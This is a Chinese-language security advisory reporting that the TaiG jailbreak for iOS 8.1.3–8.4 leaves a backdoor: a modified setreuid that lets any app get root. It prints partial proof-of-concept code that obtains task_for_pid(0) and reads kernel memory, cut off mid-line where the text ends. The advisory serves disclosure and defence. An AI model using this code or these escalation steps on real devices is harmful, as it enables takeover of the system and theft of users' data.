关键字:太极越狱重大安全后门 太极越狱被曝重大安全后门
|

0x00 背景
太极越狱iOS8.1.3-8.4含有重大安全后门,越狱后导致任意APP可以提权到Root,从而影响用户数据的安全。举例来说获取Root权限后可以完全控制系统文件,甚至进一步安装木马等严重威胁用户安全的恶意软件。
0x01 细节
具体分析结果显示太极越狱修改了setreuid这个关键系统API,导致任意APP都可以直接调用setreuid(0,0)获得Root执行权限,从而可以修改任意系统文件、也可以task_for_pid打开系统内核句柄从而完全控制系统底层。例如通过写入系统目录“/Library/LaunchDaemons”可以注册系统服务,从而植入木马、病毒、盗号工具威胁用户隐私数据和密码。
漏洞重现演示如下图:

示例一:通过test_taig_backdoor1程序读取内核内存

示例二:通过test_taig_backdoor2获得root权限shell
test_taig_backdoor读取任意内核poc代码:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
|
#include <Foundation/Foundation.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/param.h>
#include <spawn.h>
#include <mach/mach.h>
void dump_kernel_memory(vm_address_t addr)
{
kern_return_t kret;
mach_port_t proc_task = 0;
vm_size_t ret_size = 0;
vm_size_t i;
char buffer[128] = {0};
int ret;
ret = task_for_pid(mach_task_self(), 0, &proc_task);
if (ret != 0)
{
NSLog(@"[err] get tfp0 fail: %d", ret);
return;
}
NSLog(@"task for pid 0 = %u", proc_task);
kret = vm_read_overwrite(proc_task,
addr,
sizeof(buffer),
(vm_address_t)buffer,
&ret_size);
char *info = malloc(4096);
info[0] = ' | |